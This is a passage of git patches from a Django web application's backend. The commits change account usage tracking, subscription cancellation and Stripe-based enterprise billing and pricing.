-            account.testcases = testcases
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -718,6 +716,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.slack = slack
         if configs is not None:
             account.configs = configs
+        if meta is not None:
+            account.meta = meta
         
         # saving updated info
         account.save()
@@ -741,11 +741,11 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             max_pages=max_pages,
             max_schedules=max_schedules if max_schedules is not None else 0,
             retention_days=retention_days if retention_days is not None else 14,
-            testcases=testcases if testcases is not None else False,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
             price_id=price_id,
+            meta=meta,
             usage={
                 'scans': 0,
                 'tests': 0,
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 0364d8d9..1bd7b803 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -3,7 +3,7 @@
 from django.contrib.auth.models import User
 from django.core import serializers
 from datetime import date, datetime
-from ...models import Account, Card, Site
+from ...models import Account, Card, Site, Issue
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from ..auth.serializers import AccountSerializer
@@ -159,6 +159,7 @@ def stripe_setup(request: object) -> object:
 
     # update `Account` with new Stripe info
     create_or_update_account(
+        user=user.id,
         id=account.id,
         type = name,
         cust_id = customer.id,
@@ -319,8 +320,9 @@ def get_billing_info(request: object) -> object:
             'max_pages': account.max_pages,
             'max_schedules': account.max_schedules,
             'retention_days': account.retention_days,
-            'testcases': account.testcases,
-            'meta': account.meta
+            'usage': account.usage,
+            'meta': account.meta,
+            'sub_url': account.sub_url
         },
     }
     
@@ -377,6 +379,7 @@ def account_activation(request: object) -> object:
 
 
 
+
 def cancel_subscription(request: object) -> object:
     """ 
     Cancels the Stripe Subscription associated with the
@@ -411,7 +414,11 @@ def cancel_subscription(request: object) -> object:
         account.retention_days = '3'
         account.interval = 'month'
         account.price_amount = 0
-        account.testcases = False
+        account.cust_id = None
+        account.sub_id = None
+        account.product_id = None
+        account.price_id = None
+        account.price_amount = None
         account.usage = {
             'scans': 0,
             'tests': 0,
@@ -423,11 +430,20 @@ def cancel_subscription(request: object) -> object:
 
         # save Account
         account.save()
+
+        # update user's card
+        card = Card.objects.get(account=account)
+        card.delete()
     
     # remove sites
     sites = Site.objects.filter(account=account)
     for site in sites:
         delete_site(request=request, id=site.id)
+    
+    # remove issues
+    issues = Issue.objects.filter(account=account)
+    for issue in issues:
+        issue.delete()
 
     # serialize and return
     serializer_context = {'request': request,}
@@ -487,61 +503,3 @@ def get_stripe_invoices(request: object) -> object:
     return Response(data, status=status.HTTP_200_OK)
 
 
-
-
-def reset_account_usage(account_id: str=None) -> None:
-    """ 
-    Loops through each active `Account`, checks to see
-    if timezone.today() is the start of the 
-    next billing cycle, and resets `Account.usage`
-
-    Expcets: {
-        'account_id': <str> (OPTIONAL)
-    }
-
-    Returns: None
-    """
-
-    # check for account_id
-    if account_id is not None:
-        accounts = [Account.objects.get(id=account_id)]
-    else:
-        # get all active accounts
-        accounts = Account.objects.filter(active=True)
-
-    # loop through each
-    for account in accounts:
-
-        # check if account is active and not free
-        if account.active and account.type != 'free':
-                
-            # get current date
-            today = datetime.today().strftime('%Y-%m-%d')
-            print(f'today -> {today}')
-
-            # get stripe sub
-            sub = stripe.Subscription.retrieve(
-                account.sub_id
-            )
-
-            # get and formate sub.current_peroid_start
-            sub_date = datetime.fromtimestamp(
-                sub.current_peroid_start
-            ).strftime('%Y-%m-%d')
-            print(f'sub_date -> {today}')
-
-            # reset accout usage if today is 
-            # begining of sub payment peroid
-            if today == sub_date:
-                
-                # reset account.ussage
-                create_or_update_account(
-                    id=account.id,
-                    scans=0,
-                    tests=0,
-                    testcases=0
-                )
-
-    return None
-
-
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index ccd5fdb0..1fbc36ac 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -249,17 +249,11 @@ def check_account_and_resource(
         # checking testcases
         if resource == 'testcase':
             if not testcase_id and action == 'add':
-                if not account.testcases:
+                if not check_resource(account, 'testcases'):
                     allowed = False
-                    error = 'testcases not allowed, please upgrade'
+                    error = 'max testcases reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
-                else:
-                    if not check_and_increment_resource(account, 'testcases'):
-                        allowed = False
-                        error = 'max testcases reached'
-                        _status = status.HTTP_402_PAYMENT_REQUIRED
-                        code = '402'
             if testcase_id:
                 if not Testcase.objects.filter(id=testcase_id, account=account).exists():
                     allowed = False
@@ -318,7 +312,7 @@ def check_account_and_resource(
         # checking scans
         if resource == 'scan':
             if not scan_id and action == 'add':
-                if not check_and_increment_resource(account, 'scan'):
+                if not check_resource(account, 'scans'):
                     allowed = False
                     error = 'max scans reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
@@ -333,7 +327,7 @@ def check_account_and_resource(
         # checking tests
         if resource == 'test':
             if not test_id and action == 'add':
-                if not check_and_increment_resource(account, 'test'):
+                if not check_resource(account, 'tests'):
                     allowed = False
                     error = 'max tests reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
@@ -390,32 +384,28 @@ def check_account_and_resource(
 
 
 
-    def check_and_increment_resource(account: object, resource: str) -> bool:
-        """ 
-        Adds 1 to the Account.usage.{resource} if 
-        {resource}_allowed has not been reached.
+def check_resource(account: object, resource: str) -> bool:
+    """ 
+    Validates if account can add a new {resource} 
 
-        Expcets: {
-            'account'  : <object>,
-            'resource' : <str> 'scan', 'test', or 'testcase
-        }
+    Expcets: {
+        'account'  : <object>,
+        'resource' : <str> 'scan', 'test', or 'testcase
+    }
 
-        Returns: Bool, True if resource was incremented.
-        """
+    Returns: Bool, True if resource was incremented.
+    """
 
-        # define defaults
-        success = False
+    # define defaults
+    success = False
 
-        # check allowance
-        if (int(account.usage[resource]) + 1) <= int(account.usage[f'{resource}s_allowed']):
-            
-            # increment and update success
-            account.usage[resource] = 1 + int(account.usage[resource])
-            account.save()
-            success = True
+    # check allowance
+    if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
+        # update success
+        success = True
 
-        # return response
-        return success
+    # return response
+    return success
 
 
 
@@ -722,6 +712,13 @@ def delete_site(request: object, id: str) -> object:
     
     # remove any associated tasks 
     delete_tasks(site=site)
+
+    # remove any associated Issues
+    issues = Issue.objects.filter(
+        affected__icontains=id
+    )
+    for issue in issues:
+        issue.delete()
     
     # remove site
     site.delete()
@@ -1225,6 +1222,13 @@ def delete_page(request: object, id: str) -> object:
 
     # remove any schedules and associated tasks
     delete_tasks(page=page)
+
+    # remove any associated Issues
+    issues = Issue.objects.filter(
+        affected__icontains=id
+    )
+    for issue in issues:
+        issue.delete()
     
     # remove page
     page.delete()
@@ -1481,6 +1485,10 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
                 return Response(data, status=check_data['status'])
             return data
 
+        # increment account.usage.scans
+        account.usage['scans'] += 1
+        account.save() 
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -1508,7 +1516,6 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         if 'vrt' in types or 'full' in types:
             run_vrt_bg.delay(scan_id=created_scan.id)
     
-
     # returning dynaminc response
     data = {
         'success': True,
@@ -2150,6 +2157,10 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         # add test.id to list
         created_tests.append(str(test.id))
 
+        # update account.usage.tests
+        account.usage['tests'] += 1
+        account.save()
+
         # running test in background
         create_test_bg.delay(
             page_id=p.id,
@@ -3396,10 +3407,20 @@ def delete_tasks(page: object=None, site: object=None) -> None:
     """ 
 
     # get any schedules
+    schedules = []
+    
+    # get all page scopped Schedules
     if page:
-        schedules = Schedule.objects.filter(page=page)
+        schedules += Schedule.objects.filter(page=page)
+    
+    # get all site & page scopped Schedules
     if site:
-        schedules = Schedule.objects.filter(site=site)
+        # get site scopped
+        schedules += Schedule.objects.filter(site=site)
+        # iterate over each site associated page and to schedules[]
+        pages = Page.objects.filter(site=site)
+        for p in pages:
+            schedules += Schedule.objects.filter(page=p)
 
     # remove any associated tasks
     for schedule in schedules:
@@ -5021,6 +5042,7 @@ def search_resources(request: object) -> object:
     cases = []
     pages = []
     sites = []
+    issues = []
 
     # check for object specification i.e 'site:', 'case:', 'issue:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
@@ -5047,7 +5069,7 @@ def search_resources(request: object) -> object:
     # search for issues
     if resource_type == 'issue' or resource_type == query:
         issues = Issue.objects.filter(account=account).filter(
-            name__icontains=query
+            title__icontains=query
         )
 
     # adding first several sites if present
@@ -5129,36 +5151,44 @@ def get_home_metrics(request: object) -> object:
     issues = Issue.objects.filter(account=account, status='open')
     
     # setting defaults
-    site_count = sites.count()
-    issues_count = issues.count()
-    test_count = 0
-    scan_count = 0
-    schedule_count = 0
-    
+    issues = issues.count()
+    tests = account.usage['tests']
+    scans = account.usage['scans']
+    testcases = account.usage['testcases']
+    schedules = 0
+
     # calculating metrics
     for site in sites:
-        tests = Test.objects.filter(site=site)
-        scans = Scan.objects.filter(site=site)
-        schedules = Schedule.objects.filter(site=site)
-        test_count = test_count + tests.count()
-        scan_count = scan_count + scans.count()
-        schedule_count = schedule_count + schedules.count()
+        schedules += Schedule.objects.filter(site=site).count()
 
         # getting associated pages
         pages = Page.objects.filter(site=site)
 
         # adding page scoped schedules 
         for page in pages:
-            schedules = Schedule.objects.filter(page=page)
-            schedule_count = schedule_count + schedules.count()
-
+            schedules += Schedule.objects.filter(page=page).count()
+
+    # calculate usages
+    sites = sites.count()
+    sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
+    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
+    tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
+    testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
+    
     # format data
     data = {
-        "sites": site_count, 
-        "tests": test_count,
-        "scans": scan_count,
-        "schedules": schedule_count,
-        "open_issues": issues_count,
+        "sites": sites, 
+        "sites_usage": sites_usage,
+        "tests": tests,
+        "tests_usage": tests_usage,
+        "scans": scans,
+        "scans_usage": scans_usage,
+        "schedules": schedules,
+        "schedules_usage": schedule_usage,
+        "testcases": testcases,
+        "testcases_usage": testcases_usage,
+        "open_issues": issues,
     }
     
     # return response
@@ -5186,29 +5216,40 @@ def get_site_metrics(request: object) -> object:
     account = Member.objects.get(user=user).account
     site_id = request.query_params.get('site_id')
     site = Site.objects.get(id=site_id)
+    max_sites = account.max_sites
     pages = Page.objects.filter(site=site)
 
     # setting detaults
-    page_count = pages.count()
-    test_count = 0
-    scan_count = 0
-    schedule_count = Schedule.objects.filter(site=site).count()
+    testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
+    tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
+    scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
+    schedules = Schedule.objects.filter(site=site).count()
 
-    # calculating metrics
+    # calculating page scoped schedules
     for page in pages:
-        tests = Test.objects.filter(page=page)
-        scans = Scan.objects.filter(page=page)
-        schedules = Schedule.objects.filter(page=page)
-        test_count = test_count + tests.count()
-        scan_count = scan_count + scans.count()
-        schedule_count = schedule_count + schedules.count()
+        schedules += Schedule.objects.filter(page=page).count()
+    
+    # calculate usage
+    pages = pages.count()
+    pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
+    scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
+    tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
+    testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
+    schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
+
 
     # format data
     data = {
-        "pages": page_count, 
-        "tests": test_count,
-        "scans": scan_count,
-        "schedules": schedule_count,
+        "pages": pages, 
+        "pages_usage": pages_usage, 
+        "tests": tests,
+        "tests_usage": tests_usage,
+        "scans": scans,
+        "scans_usage": scans_usage,
+        "schedules": schedules,
+        "schedules_usage": schedules_usage,
+        "testcases": testcases,
+        "testcases_usage": testcases_usage,
     }
 
     # return response

From 0d9a7862948b561f87140183b9c772e839587188 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 16:14:20 -0600
Subject: [PATCH 0640/1099] fixing usage defaults

---
 app/api/models.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/models.py b/app/api/models.py
index df81e99f..bcf8565f 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -268,6 +268,7 @@ def get_usage_default():
         'tests_allowed': 30, 
         'testcases_allowed': 15,
     }
+    return usage
 
 
 

From cc7a4748a6b08a96fe014ef3b1b86d937c950091 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 16:21:56 -0600
Subject: [PATCH 0641/1099] fixed small typo

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1fbc36ac..c9282ee9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5114,7 +5114,7 @@ def search_resources(request: object) -> object:
     while i <= max_issues and i <= (len(issues)-1):
         data.append({
             'name': str(issues[i].title),
-            'path': f'/issue/{issue[i].id}',
+            'path': f'/issue/{issues[i].id}',
             'id'  : str(issues[i].id),
             'type': 'issue',
         })

From 9296683e45f64f67dca88afaf252b37c30d1024c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 16:25:59 -0600
Subject: [PATCH 0642/1099] fixed issue search by site str

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c9282ee9..0b7523ff 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2879,7 +2879,7 @@ def search_issues(request: object) -> object:
     issues = Issue.objects.filter(
         Q(account=account, title__icontains=query) |
         Q(account=account, details__icontains=query) |
-        Q(account=account, affected__icontains={'str':query})
+        Q(account=account, affected__icontains=query)
     ).order_by('-status', '-time_created')
     
     # serialize and rerturn

From 18fe7f51e0f58ae967f2491d8733310bdca976e6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 12 Aug 2024 15:50:59 -0600
Subject: [PATCH 0643/1099] adding better controls for enterprise billing

---
 app/api/models.py              |   1 -
 app/api/tasks.py               |  85 +++++++++++
 app/api/v1/auth/serializers.py |   2 +-
 app/api/v1/auth/services.py    |   8 +
 app/api/v1/billing/services.py | 269 ++++++++++++++++++++++++++++-----
 app/api/v1/billing/urls.py     |  16 +-
 app/api/v1/billing/views.py    |  31 +++-
 app/api/v1/ops/services.py     |  85 ++++++++---
 8 files changed, 426 insertions(+), 71 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index bcf8565f..236eaa23 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -288,7 +288,6 @@ class Account(models.Model):
     retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    sub_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a0e34f9d..07bf977e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1180,6 +1180,91 @@ def reset_usage(account):
 
 
 
+@shared_task
+def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
+    """ 
+    Update price for existing stripe Subscription 
+    based on new `Account.max_sites`
+
+    Expects: {
+        'account_id'   : <str> (REQUIRED)   
+        'max_sites' : <int> (OPTIONAL)   
+    }
+
+    Returns: None
+    """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
+    # get account
+    account = Account.objects.get(id=account_id)
+
+    # set new max_sites
+    if max_sites is not None:
+        account.max_sites = max_sites
+        account.save()
+    
+    # get max_sites
+    if max_sites is None:
+        max_sites = account.max_sites
+
+    # get account coupon
+    discount = 1
+    if account.meta.get('coupon'):
+        discount = account.meta['coupon']['discount']
+        if discount != 1:
+            discount = 1-discount
+
+    # calculate 
+    price_amount = (
+        (
+            (-0.0003 * (max_sites ** 2)) + 
+            (1.5142 * max_sites) + 325.2
+        ) * 100
+    )
+
+    # apply discount
+    price = round(price - (price * discount))
+
+    # create new Stripe Price 
+    price = stripe.Price.create(
+        product=account.product_id,
+        unit_amount=price_amount,
+        currency='usd',
+        recurring={'interval': account.interval,},
+    )
+
+    # update Stripe Subscription
+    sub = stripe.Subscription.retrieve(account.sub_id)
+    stripe.Subscription.modify(
+        account.sub_id,
+        cancel_at_period_end=False,
+        pause_collection='',
+        proration_behavior='create_prorations',
+        items=[{
+            'id': sub['items']['data'][0].id,
+            'price': price.id,
+        }],
+        expand=['latest_invoice.payment_intent'],
+    )
+
+    # updating price defaults and archiving old price
+    stripe.Product.modify(account.product_id, default_price=price,)
+    stripe.Price.modify(account.price_id, active=False)
+
+    # update account with new info
+    account.price_id = price.id
+    account.price_amount = 0
+    account.save()
+    account.price_amount = price_amount
+    account.save()
+
+    print(f'new price -> {price_amount}')
+    
+    # return 
+    return None
+
 
 
 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 0dddbb2e..8ffc54e3 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -80,7 +80,7 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type', 'phone', 
-        'cust_id', 'sub_id', 'sub_url', 'product_id', 'price_id', 'slack',
+        'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'retention_days',
         'configs', 'meta', 'usage',
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 5bdc2e44..bf719008 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -626,6 +626,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
+        price_amount = request.data.get('price_amount')
+        interval = request.data.get('interval')
         scans_allowed = request.data.get('scans_allowed')
         tests_allowed = request.data.get('tests_allowed')
         testcases_allowed = request.data.get('testcases_allowed')
@@ -653,6 +655,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
+        price_amount = kwargs.get('price_amount')
+        interval = kwargs.get('interval')
         scans_allowed = kwargs.get('scans_allowed')
         tests_allowed = kwargs.get('tests_allowed')
         testcases_allowed = kwargs.get('testcases_allowed')
@@ -700,6 +704,10 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.product_id = product_id
         if price_id is not None:
             account.price_id = price_id
+        if price_amount is not None:
+            account.price_amount = price_amount
+        if interval is not None:
+            account.interval = interval
         if scans_allowed is not None:
             account.usage['scans_allowed'] = scans_allowed
         if tests_allowed is not None:
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 1bd7b803..c2690f60 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -57,7 +57,6 @@ def stripe_setup(request: object) -> object:
     max_pages = int(request.data.get('max_pages'))
     max_schedules = int(request.data.get('max_schedules'))
     retention_days = int(request.data.get('retention_days'))
-    testcases = str(request.data.get('testcases', 'False'))
     scans_allowed = int(request.data.get('scans_allowed'))
     tests_allowed = int(request.data.get('tests_allowed'))
     testcases_allowed = int(request.data.get('testcases_allowed'))
@@ -73,12 +72,6 @@ def stripe_setup(request: object) -> object:
     # build Stripe Product name
     product_name = f'{user.email}_{user.id}_{name}'
 
-    # format testcase data
-    if str(testcases).lower() == 'true':
-        testcases = True
-    if str(testcases).lower() == 'false':
-        testcases = False
-
     # create new `Account` if none exists
     if not Account.objects.filter(user=user).exists():
         create_or_update_account(
@@ -88,16 +81,10 @@ def stripe_setup(request: object) -> object:
             max_sites=max_sites,
             max_pages=max_pages,
             max_schedules=max_schedules,
-            retention_days=retention_days,
-            testcases=testcases, 
-            usage={
-                'scans': 0,
-                'tests': 0,
-                'testcases': 0,
-                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
-                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
-                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
-            },
+            retention_days=retention_days, 
+            scans_allowed=scans_allowed if scans_allowed is not None else 30, 
+            tests_allowed=tests_allowed if tests_allowed is not None else 30, 
+            testcases_allowed=testcases_allowed if testcases_allowed is not None else 15,
             meta=meta
         )
 
@@ -172,7 +159,6 @@ def stripe_setup(request: object) -> object:
         price_amount = price_amount,
         max_schedules = max_schedules,
         retention_days = retention_days,
-        testcases = testcases,
         scans_allowed = scans_allowed,
         tests_allowed = tests_allowed,
         testcases_allowed = testcases_allowed,
@@ -280,6 +266,213 @@ def stripe_complete(request: object) -> object:
 
 
 
+def calc_price(account: object=None) -> int:
+    """ 
+    Calculates a `price` based on `Account.max_sites` 
+    and any `Account.meta.coupon` data.
+
+    Expects: {
+        'account': <object> (REQUIRED)
+    } 
+    
+    Returns: 'price_amount' <int>
+    """
+    
+    # get max_sites
+    max_sites = account.max_sites
+
+    # get account coupon
+    discount = 1
+    if account.meta.get('coupon'):
+        discount = account.meta['coupon']['discount']
+    
+    # calculate 
+    price = (
+        (
+            (-0.0003 * (max_sites ** 2)) + 
+            (1.5142 * max_sites) + 325.2
+        ) * 100
+    )
+
+    # apply discount
+    price = price - (price * discount)
+
+    # return price
+    return int(price)
+
+
+
+
+def get_stripe_hosted_url(request: object=None) -> object:
+    """ 
+    Creates either a new 'Stripe Checkout Session' 
+    (allows customer to subscribe), or a 'Stripe Customer 
+    Portal Session' (allows customer to manage existing subscription).
+    Either session type with return a Stripe redirect url
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    }
+    
+    Returns -> data: {
+        'stripe_url': <str>
+    }
+    """
+
+    # get account
+    user = request.user
+    account = Account.objects.get(user=user)
+
+    # set default url
+    stripe_url = None
+    
+    # create Product, Price, & Checkout Session
+    if account.cust_id is None:
+
+        # build product
+        product_name = f'{user.email}_{user.id}_enterprise'
+        product = stripe.Product.create(name=product_name)
+
+        # calc price_amount
+        price_amount = calc_price(account=account)
+        
+        # create new Stripe Price 
+        price = stripe.Price.create(
+            product=product.id,
+            unit_amount=price_amount,
+            currency='usd',
+            recurring={'interval': account.interval,},
+        )
+
+        # create Checkout Session
+        checkout_session = stripe.checkout.Session.create(
+            line_items=[
+                {
+                    'price': price.id,
+                    'quantity': 1,
+                },
+            ],
+            mode='subscription',
+            success_url=f'{settings.CLIENT_URL_ROOT}/billing/update' +
+            '?success=true&session_id={CHECKOUT_SESSION_ID}',
+            cancel_url=f'{settings.CLIENT_URL_ROOT}/billing',
+        )
+
+        # setting stripe_url 
+        stripe_url = checkout_session.url
+    
+    # create Portal Session
+    if account.cust_id:
+        portal_session = stripe.billing_portal.Session.create(
+            customer=account.cust_id,
+            return_url=f'{settings.CLIENT_URL_ROOT}/billing/update',
+        )
+
+        # setting stripe_url 
+        stripe_url = portal_session.url
+
+    # return response
+    data = {'stripe_url': stripe_url}
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def update_account_with_stripe_redirect(request: object=None) -> object:
+    """ 
+    Updates `Account` with new sub data from stripe redirect
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get account
+    account = Account.objects.get(user=request.user)
+    cust_id = account.cust_id
+    sub_id = account.sub_id
+
+    # try to get session_id
+    session_id = request.query_params.get('session_id')
+
+    # if session_id - get customer, subscription
+    if session_id:
+        session = stripe.checkout.Session.retrieve(
+            session_id
+        )
+        cust_id = session.customer
+        sub_id = session.subscription
+
+    # get current stripe sub object
+    sub = stripe.Subscription.retrieve(
+        sub_id
+    )
+
+    # get stripe product & price info
+    plan = sub['items']['data'][0]['plan']
+    product_id = plan['product']
+    price_id = plan['id']
+    price_amount = plan['amount']
+    interval = plan['interval']
+
+    # setting Account.active
+    active = False if (sub['canceled_at'] or sub['pause_collection']) else True
+    
+    # get billing method info
+    pay_method_id = sub.default_payment_method
+    pay_method = stripe.PaymentMethod.retrieve(
+        pay_method_id
+    )
+
+    # create or update Account card
+    if not Card.objects.filter(account=account).exists():
+        Card.objects.create(
+            user            = request.user,
+            account         = account,
+            pay_method_id   = pay_method.id,
+            brand           = pay_method.card.brand,
+            exp_year        = pay_method.card.exp_year,
+            exp_month       = pay_method.card.exp_month,
+            last_four       = pay_method.card.last4
+        )
+    else:
+        Card.objects.filter(account=account).update(
+            user            = request.user,
+            account         = account,
+            pay_method_id   = pay_method.id,
+            brand           = pay_method.card.brand,
+            exp_year        = pay_method.card.exp_year,
+            exp_month       = pay_method.card.exp_month,
+            last_four       = pay_method.card.last4
+        )
+
+    # update `Account` with new Stripe info
+    create_or_update_account(
+        user         = request.user.id,
+        id           = account.id,
+        cust_id      = cust_id,
+        sub_id       = sub_id,
+        product_id   = product_id,
+        price_id     = price_id,
+        price_amount = price_amount,
+        interval     = interval,
+    )
+    
+    # equeting account data deletion
+    if not active:
+        cancel_subscription(account=account)
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
 def get_billing_info(request: object) -> object: 
     """ 
     Gets the `Card`, `Account`, and slack info associated
@@ -287,6 +480,7 @@ def get_billing_info(request: object) -> object:
 
     Expects: {
         'request' : <object> (REQUIRED)
+    }
     
     Returns -> HTTP Response object
     """
@@ -322,7 +516,6 @@ def get_billing_info(request: object) -> object:
             'retention_days': account.retention_days,
             'usage': account.usage,
             'meta': account.meta,
-            'sub_url': account.sub_url
         },
     }
     
@@ -380,31 +573,33 @@ def account_activation(request: object) -> object:
 
 
 
-def cancel_subscription(request: object) -> object:
+def cancel_subscription(request: object=None, account: object=None) -> object:
     """ 
     Cancels the Stripe Subscription associated with the
     passed "user" and reverts the `Account` to a "free" plan
     
     Expects: {
-        'request': object
+        'request': object (OPTIONAL)
+        'account': object (OPTIONAL)
     }
 
-    Returns -> `Account` HTTP Response object
+    Returns -> `Account` HTTP Response object or Bool `true`
     """
 
     # get user's account
-    account = Account.objects.get(user=request.user)
+    if request is not None:
+        account = Account.objects.get(user=request.user)
 
     # update billing if accout is active
     if account.active == True:
 
-        # pause Stripe Subscription billing
-        stripe.Subscription.modify(
-            account.sub_id,
-            pause_collection={
-                'behavior': 'mark_uncollectible',
-            },
-        )
+        # canceling Stripe Subscription billing
+        try:
+            stripe.Subscription.cancel(
+                account.sub_id,
+            )
+        except Exception as e:
+            print(e)
 
         # update Account plan
         account.type = 'free'
@@ -438,7 +633,7 @@ def cancel_subscription(request: object) -> object:
     # remove sites
     sites = Site.objects.filter(account=account)
     for site in sites:
-        delete_site(request=request, id=site.id)
+        delete_site(id=site.id, account=account)
     
     # remove issues
     issues = Issue.objects.filter(account=account)
@@ -446,10 +641,14 @@ def cancel_subscription(request: object) -> object:
         issue.delete()
 
     # serialize and return
-    serializer_context = {'request': request,}
-    serialized = AccountSerializer(account, context=serializer_context)
-    data = serialized.data
-    return Response(data, status=status.HTTP_200_OK)
+    if request is not None:
+        serializer_context = {'request': request,}
+        serialized = AccountSerializer(account, context=serializer_context)
+        data = serialized.data
+        return Response(data, status=status.HTTP_200_OK)
+    else:
+        return True
+
 
 
 
diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index 7b266d46..8d558fc6 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -7,11 +7,13 @@
 
 
 urlpatterns = [
-    path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'),
-    path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
-    path('cancel-subscription', views.CancelSubscription.as_view(), name='cancel_subscription'),
-    path('stripe-key', views.StripeKey.as_view(), name='stripe_key'),
-    path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
-    path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
-    path('account-activation', views.AccountActivation.as_view(), name='account_activation')
+    path('stripe/key', views.StripeKey.as_view(), name='stripe_key'),
+    path('invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
+    path('info', views.BillingInfo.as_view(), name='billing_info'),
+    path('subscription/setup', views.SubscriptionSetup.as_view(), name='subscription_setup'),
+    path('subscription/complete', views.SubscriptionComplete.as_view(), name='subscription_complete'),
+    path('subscription/cancel', views.SubscriptionCancel.as_view(), name='subscription_cancel'),
+    path('subscription/update', views.SubscriptionUpdate.as_view(), name='subscription_update'),
